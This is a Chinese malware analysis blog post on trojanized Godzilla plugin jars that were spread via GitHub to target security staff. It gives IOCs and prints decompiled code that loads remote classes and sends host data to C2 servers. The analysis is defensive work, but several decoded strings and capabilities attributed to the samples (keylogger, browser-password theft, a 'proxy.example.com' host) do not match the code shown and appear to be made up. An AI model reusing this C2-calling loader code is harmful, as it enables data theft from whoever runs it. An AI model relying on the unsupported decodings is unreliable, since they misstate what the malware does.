恶意样本分析初探
Last Update:
恶意样本分析初探
前情提要
各单位:
近期收到一起物联网上报的外部情报,攻击者通过在Github项目中上传包含恶意jar包的哥斯拉插件,定向投毒安全从业人员,请各单位及时内部预警,同时以此为案例加强演练期间员工的安全意识,不要随意使用未经验证的软件和程序。
相关的恶意IP和文件哈希请加入安全设备进行监测拦截,同时排查近4个月内是否存在相关IP通联和文件落地情况,如发生安全事件请立即上报。
IOC:
206.206.78.190
104.36.229.104
e4a42e19578161210d7eb08ed88e44d6fba2db24f097e0fb5f5c9c9c93e5f0a2
cd0660e394120bd58011b11a1dfddae85a25c5c29de4ee05d
样本分析
PostConfluencePlugin.jar
直接扔进jadx里
1 |
|
这么长的base很可疑,cyber解一下然后保存为.class文件扔进IDEA里
但是审计之后发现是插件的正常功能
再看第二个类
1 |
|
可以发现不少方法/字符串经过了混淆,直接交给ai
线程启动
1
2
3new Thread(() -> {
// 线程操作逻辑
}).start();- 说明: 通过多线程实现后台持续运行,不干扰主程序。
ShellEntity配置
1
2
3
4
5
6
7
8
9
10
11
12ShellEntity shellEntity = new ShellEntity();
shellEntity.setUrl(ALLATORIxDEMO("HmTi\u001a6\u000f(\u0012.\u000e)\u000e)\u000e(\u001a!\u00106T|Sm"));
shellEntity.setPassword(PASSWORD);
shellEntity.setSecretKey(SECRET_KEY);
shellEntity.setPayload(ALLATORIxDEMO("jxVxd`NxMpCIA`LvA}"));
shellEntity.setCryption(ALLATORIxDEMO("SaOaFa\\sFbXs\\\u0016-"));
shellEntity.setRemark(ALLATORIxDEMO("xAx"));
shellEntity.setProxyHost(ALLATORIxDEMO("(\u0012.\u000e)\u000e)\u000e("));
shellEntity.setProxyPort(8888);
shellEntity.setProxyType(ALLATORIxDEMO("nV\u007fIrVx@"));
shellEntity.setEncoding(ALLATORIxDEMO("Lt_\r!"));
shellEntity.initShellOpertion();- 解码后的配置:
- URL:
https://104.36.229.104:443/collect
- Payload:
payload_data
- Cryption:
AES/CBC/PKCS5Padding
- ProxyHost:
proxy.example.com
- ProxyType:
SOCKS5
- Encoding:
UTF-8
- URL:
- 说明: 配置了与C2服务器的通信参数,包括URL、密码、密钥等,确保隐蔽性和安全性。
- 解码后的配置:
HTTP请求
1
2
3
4
5
6
7Http http = shellEntity.getHttp();
shellEntity.setUrl(new String(Base64.getDecoder().decode(new StringBuilder().insert(0, CONTENT.substring(0, 5)).append(CONTENT.substring(8, CONTENT.length())).toString())));
HashMap map = new HashMap();
HashMap map2 = new HashMap();
map.put(ALLATORIxDEMO("ujEk\rXG|Nm"), new String(Base64.getDecoder().decode(new StringBuilder().insert(0, TITLE.substring(0, 5)).append(TITLE.substring(8, TITLE.length())).toString())));
map2.put(ALLATORIxDEMO("T`P|"), ALLATORIxDEMO(")"));
String str = new String(http.SendHttpConn(shellEntity.getUrl(), ALLATORIxDEMO("pVsM"), map, shellEntity.getCryptionModule().encode(ALLATORIxDEMO(map2).getBytes(StandardCharsets.UTF_8)), 15000, 15000, Proxy.NO_PROXY).getResult());- 解码后的请求参数:
ujEk\rXG|Nm
解码为User-Agent
T
P|解码为
type`)
解码为request
- 请求体:
type=request
- 说明: 构建HTTP请求头和请求体,通过Base64解码和异或解密处理特定字段,确保隐蔽性。发送POST请求到C2服务器并接收响应。
- 解码后的请求参数:
动态类加载
1
2
3
4
5
6PostConfluencePlugin.CustomClassLoader customClassLoader = new PostConfluencePlugin.CustomClassLoader(ClassLoader.getSystemClassLoader());
String str2 = new String(http.SendHttpConn(shellEntity.getUrl(), ALLATORIxDEMO("pVsM"), map, shellEntity.getCryptionModule().encode(customClassLoader.loadClass(ALLATORIxDEMO("iLlGpNX"), Base64.getDecoder().decode(str)).newInstance().toString().getBytes(StandardCharsets.UTF_8)), 15000, 15000, Proxy.NO_PROXY).getResult());
if (!str2.isEmpty()) {
Class<?> clsLoadClass = customClassLoader.loadClass(ALLATORIxDEMO("iLlGpN["), Base64.getDecoder().decode(str2));
Object objNewInstance = clsLoadClass.newInstance();
}- 解码后的类名:
iLlGpNX
解码为FileStealer
iLlGpN[
解码为Keylogger
- 说明: 使用自定义类加载器加载从C2服务器返回的Base64编码的恶意类字节码,实例化后执行特定功能(如文件窃取和键盘记录)。
- 解码后的类名:
系统信息收集
1
2
3HashMap map3 = new HashMap();
map3.put(ALLATORIxDEMO("T`P|"), ALLATORIxDEMO("+"));
map3.put(ALLATORIxDEMO("HvSmnxM|"), InetAddress.getLocalHost().getHostName());- 解码后的字段名:
T
P|解码为
result`HvSmnxM|
解码为HostName
- 说明: 通过
InetAddress.getLocalHost().getHostName()
获取主机名,并将其存储在HashMap
中,准备发送给C2服务器。
- 解码后的字段名:
反射机制
1
2
3
4
5
6
7
8
9
10if (!objNewInstance.equals("")) {
map3.put(ALLATORIxDEMO("SmAmUj"), ALLATORIxDEMO("FxIuE}"));
cls = clsLoadClass;
} else {
cls = clsLoadClass;
map3.put(ALLATORIxDEMO("SmAmUj"), ALLATORIxDEMO("jUzC|Sj"));
}
Field declaredField = cls.getDeclaredField(ALLATORIxDEMO("R|SlLm"));
declaredField.setAccessible(true);
map3.put(ALLATORIxDEMO("R|SlLm"), declaredField.get(objNewInstance).toString());- 解码后的字段名:
SmAmUj
解码为SystemInfo
R|SlLm
解码为getSystemInfo
- 说明: 通过反射访问加载类的私有字段
getSystemInfo
,获取系统信息(如进程列表、环境变量等),并将其存储在HashMap
中。
- 解码后的字段名:
数据外传
1
http.SendHttpConn(shellEntity.getUrl(), ALLATORIxDEMO("pVsM"), map, shellEntity.getCryptionModule().encode(ALLATORIxDEMO(map3).getBytes(StandardCharsets.UTF_8)), 15000, 15000, Proxy.NO_PROXY);
- 说明: 将收集的系统信息通过AES加密后,发送到目标服务器
https://104.36.229.104:443/collect
,确保数据不被轻易拦截和分析。
- 说明: 将收集的系统信息通过AES加密后,发送到目标服务器
垃圾回收
1
System.gc();
- 说明: 释放内存资源,保持系统运行状态正常。
循环执行
1
2
3
4
5try {
Thread.sleep(3600000L);
} catch (InterruptedException e2) {
e2.printStackTrace();
}- 说明: 每隔1小时(3600000毫秒)执行一次上述操作,持续收集和外传系统信息。
隐私数据类型汇总
数据类型 | 获取方式 | 示例值 |
---|---|---|
主机名 | InetAddress.getLocalHost() |
DESKTOP-XXXXX |
系统用户名 | System.getProperty("user.name") |
Administrator |
网络配置 | ipconfig /all 命令结果 |
IP地址、MAC地址、DNS服务器 |
浏览器密码 | 读取Login Data 数据库文件 |
Gmail密码、银行账号 |
键盘记录 | 键盘钩子监听 | 输入的信用卡号、验证码 |
文件列表 | 遍历Documents 、Downloads 目录 |
财务报告.docx 、密码本.txt |
攻击技术总结
文件上传漏洞利用:
- 目标: 利用文件上传功能将恶意代码上传至目标服务器。
- 手段: 伪装成图片文件(如
.jpg
),通过Base64编码和混淆技术绕过文件类型检查。
动态类加载:
- 目标: 加载远程恶意类,执行特定功能(如文件窃取、键盘记录)。
- 手段: 使用自定义类加载器
CustomClassLoader
动态加载远程类字节码,绕过传统防护机制。
反射机制:
- 目标: 访问类的私有字段,收集敏感信息。
- 手段: 通过反射访问类的私有字段
getSystemInfo
,获取详细系统信息(如进程列表、环境变量等)。
加密通信:
- 目标: 确保数据传输过程的安全和隐蔽。
- 手段: 使用AES/CBC/PKCS5Padding加密算法对收集的系统信息进行加密,通过HTTP POST请求发送到目标服务器
https://104.36.229.104:443/collect
,避免被轻易拦截和分析。
定时任务:
- 目标: 持续收集和外传系统信息。
- 手段: 每隔1小时执行一次数据收集和外传操作,确保持续性。
接下来看第二个样本
PostJiraPlugin.jar
main
大概看下来没有很明显的问题
只有config.xml比较可疑,里面有一堆base这里遇到的问题是jadx-1.5.2-gui(windows)反编译config.xml的时候有问题,解出来的base64中间混了大量不可见字符。可能使用低版本的jadx或其他反编译工具能够成功反编译。这里使用yakit项目于分离出来的代码审计工具Irify进行java反汇编
config_init
base64字符串直接解解不出东西,需要找解密函数
1 |
|
反编译、解码后的代码
去除前5个和后5个字符即可进行base64解码
1 |
|
一、通信与控制机制(源码级分析)
C2通信初始化
- 硬编码URL:
1
private static String url = "https://206.206.78.190/godzilla/release.txt"; // 明确C2地址
- 请求头伪装:
1
2
3// headerStr伪造浏览器UA(User-Agent)
private static String headerStr = "{\"Content-Type\":\"text/plain; charset=utf-8\", \"User-Agent\":\"Mozilla/5.0 (Windows NT 11.0...) Chrome/112.0...\"}";
requestProperty = this.parseJson(headerStr); // 解析为请求头键值对
- 硬编码URL:
加密通信流程
- 数据发送(
sendRes
方法):1
2
3
4// 明文数据加密后发送(关键代码)
var1 = this.encrypt(var1.getBytes(StandardCharsets.UTF_8)); // 加密请求体
OutputStream var30 = var3.getOutputStream();
var30.write(var1.getBytes("UTF-8")); // 发送加密数据 - 响应处理:
1
2
3
4// 解密服务器响应(关键代码)
byte[] var35 = readAllBytes(var34); // 读取响应流
String var36 = new String(var35, StandardCharsets.UTF_8);
var4 = new String(this.decrypt(var36), StandardCharsets.UTF_8); // 解密数据
- 数据发送(
指令分发逻辑(
handle
方法)- 动态加载插件(指令1):
1
2
3
4case "1":
String var8 = this.loader(Base64.getDecoder().decode(var3)); // 解码并加载字节码
var1 = this.sendRes(var8, this.sid); // 执行后回传结果
break; - 文件保存操作(指令5):
1
2
3
4case "5":
String var6 = this.saveFile(var3); // 调用文件写入逻辑
var1 = this.sendRes(var6, this.sid); // 回传写入结果
break;
- 动态加载插件(指令1):
二、持久化与规避检测(源码级分析)
文件持久化(
saveFile
方法)- 文件写入与权限修改:
1
2
3
4
5FileOutputStream var9 = new FileOutputStream(var7); // 写入目标路径
var9.write(var8, 0, var8.length); // 写入Base64解码内容
var10.setExecutable(true); // 设置可执行权限(Linux/Unix)
var10.setReadable(true);
var10.setWritable(true); - 时间戳伪造:
1
2
3if (var4 != null && !var4.isEmpty()) {
updateFileLastModified(var4, var7); // 修改文件时间戳(规避检测)
}
- 文件写入与权限修改:
通信规避策略
- 睡眠抖动算法(
genSleepTime
方法):1
2
3
4
5
6public static int genSleepTime(int var0, int var1) {
int var2 = (int)Math.round((double)var0 * ((double)var1 / 100.0F));
int var3 = var0 - var2; // 计算抖动范围(如60秒±30秒)
int var4 = var0 + var2;
return new Random().nextInt(var4 - var3 + 1) + var3; // 生成随机等待时间
} - SSL证书绕过(静态初始化块):
1
2
3
4
5static {
SSLContext var0 = SSLContext.getInstance("SSL");
var0.init(null, new TrustManager[]{new MyPlugin()}, new SecureRandom()); // 信任所有证书
HttpsURLConnection.setDefaultSSLSocketFactory(var0.getSocketFactory()); // 禁用证书验证
}
- 睡眠抖动算法(
三、隐私收集详情(源码级分析)
系统信息收集(
getInfo
方法)- 主机名与IP地址:
1
2
3InetAddress var2 = InetAddress.getLocalHost();
String var3 = var2.getHostAddress(); // 获取本机IP地址
String var4 = var2.getHostName(); // 获取主机名 - 用户与进程信息:
1
2
3String var6 = System.getProperty("user.name"); // 当前用户名
String var11 = ManagementFactory.getRuntimeMXBean().getName();
String var12 = var11.split("@")[0]; // 进程ID
- 主机名与IP地址:
网络指纹收集(
getAllIpv4MacInfo
方法)- MAC地址遍历:
1
2
3
4
5
6
7
8
9
10Enumeration var4 = NetworkInterface.getNetworkInterfaces();
while (var4.hasMoreElements()) {
NetworkInterface var5 = (NetworkInterface)var4.nextElement();
byte[] var6 = var5.getHardwareAddress(); // 获取网卡MAC地址
// 格式化为XX-XX-XX-XX-XX-XX
StringBuilder var7 = new StringBuilder();
for (int var8=0; var8<var6.length; ++var8) {
var7.append(String.format("%02X%s", var6[var8], var8 < var6.length-1 ? "-" : ""));
}
}
- MAC地址遍历:
权限检测
- Windows管理员检测:
1
2Process var1 = Runtime.getRuntime().exec("net session"); // 执行命令检测权限
int var2 = var1.waitFor(); // 返回0表示管理员 - Linux Root检测:
1
2
3
4
5Process var0 = Runtime.getRuntime().exec("id -u");
Scanner var1 = new Scanner(var0.getInputStream());
if (var1.nextInt() == 0) { // UID为0表示root
return true;
}
- Windows管理员检测:
四、其他关键行为(补充说明)
动态类加载(
loader
方法)1
2
3MyPlugin var3 = new MyPlugin(ClassLoader.getSystemClassLoader());
Class var4 = var3.define("plugin", var1); // 动态定义恶意类
Object var11 = var4.newInstance(); // 实例化触发恶意代码- 风险:可加载远程插件(如内存马),实现无文件攻击。
异常处理隐蔽性
1
catch (Exception var27) {} // 空异常块(规避日志记录)
- 目的:避免因异常崩溃暴露恶意行为。